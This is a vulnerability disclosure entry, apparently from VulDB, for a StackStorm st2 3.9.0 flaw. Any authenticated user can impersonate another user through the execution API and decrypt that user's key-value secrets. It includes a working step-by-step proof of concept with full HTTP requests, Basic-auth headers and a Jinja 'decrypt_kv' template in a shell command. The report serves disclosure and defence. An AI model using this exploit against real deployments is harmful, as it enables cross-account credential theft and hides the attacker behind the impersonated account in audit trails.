| Título | StackStorm st2 3.9.0 Improper Privilege Management |
|---|
| Descripción | Execution User Impersonation Allows Cross-Account KV Secret Exfiltration (All Versions Including 3.9.0)
### Summary
Any authenticated StackStorm user can submit an action execution request that runs under the identity of any other user by supplying a `user` field in the `POST /api/v1/executions` JSON body. The guard function `assert_user_is_admin_if_user_query_param_is_provided` in the NoOp RBAC backend is called without `require_rbac=True`, so the check never fires regardless of RBAC configuration. An attacker who supplies `"user": "st2admin"` and a Jinja template referencing `{{ st2kv.user.<key> | decrypt_kv }}` in an action parameter can decrypt and exfiltrate user-scoped secrets belonging to the impersonated account. The rendered (decrypted) value is also returned inline in the API response before execution completes, giving the attacker immediate access to the plaintext secret without waiting for the execution result.
### Details
StackStorm's API model `LiveActionCreateAPI` exposes a `user` field described as "User context under which action should run (admins only)". When a client POSTs to `/api/v1/executions`, `_handle_schedule_execution` extracts that field and calls:
```
rbac_utils.assert_user_is_admin_if_user_query_param_is_provided(
user_db=requester_user, user=user
)
```
File: `st2api/st2api/controllers/v1/actionexecutions.py`, line 135-137.
The call omits `require_rbac=True`, so the default value `require_rbac=False` is used. The NoOp RBAC backend (active whenever `rbac.enable = False`, which is the default) implements this check as:
```python
if user != user_db.name and require_rbac and not is_rbac_enabled:
raise AccessDeniedError(...)
```
File: `st2common/st2common/rbac/backends/noop.py`, line 155.
Because `require_rbac` is `False`, the entire condition evaluates to `False` and no exception is raised. The user value from the request body is then stored verbatim in `execution.context["user"]`.
Downstream, `render_live_params` in `st2common/st2common/util/param.py` reads `action_context["user"]` to construct a `UserKeyValueLookup` object:
```python
user = action_context["user"] if "user" in action_context else None
system_keyvalue_context[USER_SCOPE] = UserKeyValueLookup(
scope=FULL_USER_SCOPE, user=user, context=action_context
)
```
File: `st2common/st2common/util/param.py`, lines 100-112.
If an action parameter contains a Jinja template referencing `{{ st2kv.user.<keyname> | decrypt_kv }}`, the template engine resolves `st2kv.user` against the user-scoped KV store of the impersonated account and returns the decrypted value. This rendered value is then:
1. Returned in the `liveaction.parameters` field of the `POST /api/v1/executions` HTTP response body (immediate exfiltration without waiting for execution).
2. Passed to the shell runner, causing the decrypted secret to appear in `result.stdout`.
The same flaw exists in the re-run endpoint (`POST /api/v1/executions/{id}/re_run`, line 669) where `spec_api.user` is passed without an admin check.
By contrast, the key-value API itself correctly uses `require_rbac=True` when validating the `?user=` query parameter, so direct access to another user's KV namespace via the keys API is blocked. The execution pathway is the only unguarded route.
**Comparison with GHSA-7pcr-cq2v-cv39 (Improper RBAC Check for K/V Datastore Access):** That advisory covered access to K/V items when RBAC was enabled with explicit K/V permission grants; it did not address user-field impersonation in the execution API as a bypass. This issue affects all installations regardless of whether the RBAC backend is enabled.
### PoC
Prerequisites: two accounts, `st2admin` and `testuser`, in a default StackStorm deployment (RBAC disabled is the default).
Step 1 - Store a user-scoped secret as st2admin:
```
POST /auth/v1/tokens HTTP/1.1
Host: stackstorm
Authorization: Basic c3QyYWRtaW46Q2hAbmdlTWU=
Content-Type: application/json
{"ttl": 86400}
Response: {"token":"<ADMIN_TOKEN>",...}
```
```
PUT /api/v1/keys/apipassword HTTP/1.1
Host: stackstorm
X-Auth-Token: <ADMIN_TOKEN>
Content-Type: application/json
{"name":"apipassword","value":"SuperSecretAdminPass123","secret":true,"scope":"st2kv.user"}
Response: {"uid":"key_value_pair:st2kv.user:st2admin:apipassword","scope":"st2kv.user","user":"st2admin","encrypted":true,...}
```
Step 2 - Authenticate as testuser:
```
POST /auth/v1/tokens HTTP/1.1
Host: stackstorm
Authorization: Basic dGVzdHVzZXI6dGVzdHVzZXIxMjM=
Content-Type: application/json
{"ttl": 86400}
Response: {"token":"<USER_TOKEN>","user":"testuser",...}
```
Step 3 - Confirm testuser cannot access admin's KV directly:
```
GET /api/v1/keys?scope=user&user=st2admin HTTP/1.1
Host: stackstorm
X-Auth-Token: <USER_TOKEN>
Response: 400 {"faultstring":"\"user\" attribute can only be provided by admins when RBAC is enabled"}
```
Step 4 - Exfiltrate admin's user-scoped secret via execution impersonation:
```
POST /api/v1/executions HTTP/1.1
Host: stackstorm
X-Auth-Token: <USER_TOKEN>
Content-Type: application/json
{
"action": "core.local",
"user": "st2admin",
"parameters": {
"cmd": "echo {{ st2kv.user.apipassword | decrypt_kv }}"
}
}
Response (immediate, before execution completes):
{
"liveaction": {
"parameters": {
"cmd": "echo SuperSecretAdminPass123"
}
},
"context": {
"user": "st2admin"
},
...
}
```
Step 5 - Execution result confirms exfiltration:
```
GET /api/v1/executions/<id> HTTP/1.1
Host: stackstorm
X-Auth-Token: <USER_TOKEN>
Response:
{
"status": "succeeded",
"context": {"user": "st2admin"},
"result": {"stdout": "SuperSecretAdminPass123", "return_code": 0}
}
```
Tested on StackStorm 3.9.0 (latest, commit 7d20478, Docker image stackstorm/st2api:latest).
### Impact
Any authenticated StackStorm user (including accounts with no intended administrative privileges) can:
1. Run any enabled action as an arbitrary user, bypassing audit trails and attributing the execution to the impersonated account.
2. Exfiltrate all user-scoped datastore secrets belonging to any other user by referencing `{{ st2kv.user.<key> | decrypt_kv }}` in action parameters. The decrypted secret is returned in the HTTP response body before execution completes.
3. Forge the execution context, causing downstream workflow logic that reads `action_context.user` to behave as if operated by the impersonated user.
In environments where user-scoped KV items hold credentials (API keys, passwords, OAuth tokens) for per-user integrations, this is a full cross-account credential theft vulnerability. Because the `re_run` endpoint has the same flaw, re-running any existing execution with a spoofed user is also possible.
|
|---|
| Fuente | ⚠️ https://github.com/StackStorm/st2/issues/6379 |
|---|
| Usuario | geochen (UID 78995) |
|---|
| Sumisión | 2026-07-18 15:38 (hace 2 meses) |
|---|
| Moderación | 2026-09-04 07:35 (2 months later) |
|---|
| Estado | Aceptado |
|---|
| Entrada de VulDB | 398678 [StackStorm st2 hasta 3.9.0 NoOp RBAC backend actionexecutions.py Usuario escalada de privilegios] |
|---|
| Puntos | 20 |
|---|